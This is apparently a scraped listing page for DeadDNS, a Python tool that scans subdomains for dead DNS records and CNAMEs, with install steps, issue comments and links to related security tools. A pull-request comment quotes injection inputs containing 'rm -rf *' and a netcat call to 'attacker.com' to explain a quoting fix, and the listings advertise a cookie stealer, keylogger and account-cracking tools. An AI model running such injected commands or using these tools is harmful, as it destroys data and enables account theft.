DNS hijacking via dead records automation tool

Last update: Dec 20, 2022

Overview

DeadDNS

Multi-threaded DNS hijacking via dead records automation tool

How it works

1) Dig provided subdomains file for dead DNS records.
2) Dig the found dead DNS records for any interesting CNAME's. 
3) Show which dead record points to the given CNAME.

Features

Multi-threading
Completely Automated
Takes list from file

Installation:

One line installation:

$ git clone https://github.com/DreyAnd/DeadDNS.git && cd DeadDNS && pip3 install -r requirements.txt

Simple and quick installation:

$ git clone https://github.com/DreyAnd/DeadDNS.git
$ cd DeadDNS
$ pip3 install -r requirements.txt

Usage:

Example usage:

$ python3 dead_records.py -w subdomains.txt -o1 dead.txt -o2 cname.txt

This will return all output to stdout without saving it.

Help: $ python3 dead_records.py -h

To check progress do tail -f dead-temp.txt and tail -f cname-temp.txt

Made with ❤️ by DreyAnd and inc0gnit0

You might also like...

A high-performance DNS stub resolver for bulk lookups and reconnaissance (subdomain enumeration)

MassDNS A high-performance DNS stub resolver MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amou

2.5k Jan 7, 2023

Um script simples de Port Scan + DNS by Hostname

🖥 PortScan-DNS Esta é uma ferramenta simples de Port Scan + DNS by Hostname... 💻 | DNS Resolver / by Hostname: HOST IP EXTERNO IP INTERNO 💻 | Port

7 Dec 8, 2022

Magicspoofing - A python3 script for search possible misconfiguration in a DNS related to security protections of email service from the domain name

A python3 script for search possible misconfiguration in a DNS related to security protections of email service from the domain name. This project is for educational use, we are not responsible for its misuse.

20 Dec 2, 2022

Subdomain enumeration,Web scraping and finding usernames automation script written in python

12 Nov 22, 2022

IDA scripts for hypervisor (Hyper-v) analysis and reverse engineering automation

Re-Scripts IA32-VMX-Helper (IDA-Script) IA32-MSR-Decoder (IDA-Script) IA32 VMX Helper It's an IDA script (Updated IA32 MSR Decoder) which helps you to

16 Oct 8, 2022

This repository consists of the python scripts for execution and automation of vivid tasks.

Scripting.py is a repository being maintained to keep log of the python scripts that I create for automating and executing some of my boring manual task.

1 Feb 7, 2022

Python tool for dumping flash via uboot reliably

Reliable Uboot Flash Dumper is a Python tool for dumping flash via uboot reliably. If you've ever had to dump flash via uboot and a serial connection and became frustrated about doing it several times and hand-merging files together to fix issues, this should help you out

25 May 10, 2022

Vulnerability Scanner & Auto Exploiter You can use this tool to check the security by finding the vulnerability in your website or you can use this tool to Get Shells

About create a target list or select one target, scans then exploits, done! Vulnnr is a Vulnerability Scanner & Auto Exploiter You can use this tool t

108 Dec 4, 2021

All in One CRACKER911181's Tool. This Tool For Hacking and Pentesting. 🎭

331 Jan 1, 2023

Comments

Fixing command injection by quoting the input.
The input of each subdomain wasn't being validated and this could lead to command injection in case the input file consists of such lines:

abc.example.com subdomain.example.com ; rm -rf * subdomain2.example.com ; nc attacker.com 9001 xyz.example.com

The commands after the separator were being executed and this has been prevented by quoting the subdomain input so the program will execute "host" and "dig" like:

host 'subdomain.example.com ; rm -rf *' dig CNAME +short 'subdomain2.example.com ; nc attacker.com 9001'

... resulting in errors as the input between quotes would be considered invalid.
opened by ritiksahni 2

removed extra space

When running, the script was failing because of a extra space

Traceback (most recent call last):
  File "dead_records.py", line 160, in <module>
    main()
  File "dead_records.py", line 155, in main
    output()
  File "dead_records.py", line 130, in output
    CNAME_check(dead)
  File "dead_records.py", line 112, in CNAME_check
    if exist_check.exists() == True:
UnboundLocalError: local variable 'exist_check' referenced before assignment

opened by silascutler 1

Owner

| White Hat | | 14yo | | HTB | | CTFs | | Upcoming Bug Hunter | 👻

GitHub

DLLirant is a tool to automatize the DLL Hijacking researches on a specified binary.

DLLirant DLLirant is a tool to automatize the DLL Hijacking researches on a specified binary. Live Demo How to install You need to install Visual Stud

314 Dec 30, 2022

Big-Papa Integrates Javascript and python for remote cookie stealing which then can be used for session hijacking

Big-Papa is a remote cookie stealer which can then be used for session hijacking and Bypassing 2 Factor Authentication

77 Jan 3, 2023

Tool to check if your DNS comply to Polish Ministry of Finance gambling domains restrictions

dns-mf-hazard Tool to check if your DNS comply to Polish Ministry of Finance gambling domains restrictions How to use it? Installation You need python

2 Jan 1, 2022

MayorSec DNS Enumeration Tool

MayorSecDNSScan MSDNSScan is used to identify DNS records for target domains and check for zone transfers. There really isn't much special about it, a

68 Dec 12, 2022

KeyKatcher is a keylogger that records keystrokes made on a computer and sends to the E-Mail.

What is a keylogger? A keylogger is a software application or piece of hardware that monitors and records keystrokes made on a computer keyboard. The

7 Sep 19, 2022

Facebook account cloning/hacking advanced tool + dictionary attack added | Facebook automation tool

loggef Facebook automation tool, Facebook account hacking and cloning advanced tool + dictionary attack added Warning Use this tool for educational pu

149 Aug 10, 2022

🍯 16 honeypots in a single pypi package (DNS, HTTP Proxy, HTTP, HTTPS, SSH, POP3, IMAP, STMP, VNC, SMB, SOCKS5, Redis, TELNET, Postgres & MySQL)

Easy to setup customizable honeypots for monitoring network traffic, bots activities and username\password credentials. The current available honeypot

259 Dec 31, 2022

Transparent proxy server that works as a poor man's VPN. Forwards over ssh. Doesn't require admin. Works with Linux and MacOS. Supports DNS tunneling.

sshuttle: where transparent proxy meets VPN meets ssh As far as I know, sshuttle is the only program that solves the following common case: Your clien

9.4k Jan 4, 2023

This script checks for any possible SSRF dns/http interactions in xmlrpc.php pingback feature

rpckiller This script checks for any possible SSRF dns/http interactions in xmlrpc.php pingback feature and with that you can further try to escalate

33 Sep 23, 2022

A python package with tools to read and postprocess the output of the channel DNS-solver (davecats/channel), as well as its associated postprocessing tools.

Python tools for davecats/channel A python package with tools to read and postprocess the output of the channel dns solver, as well as its associated

1 Dec 13, 2021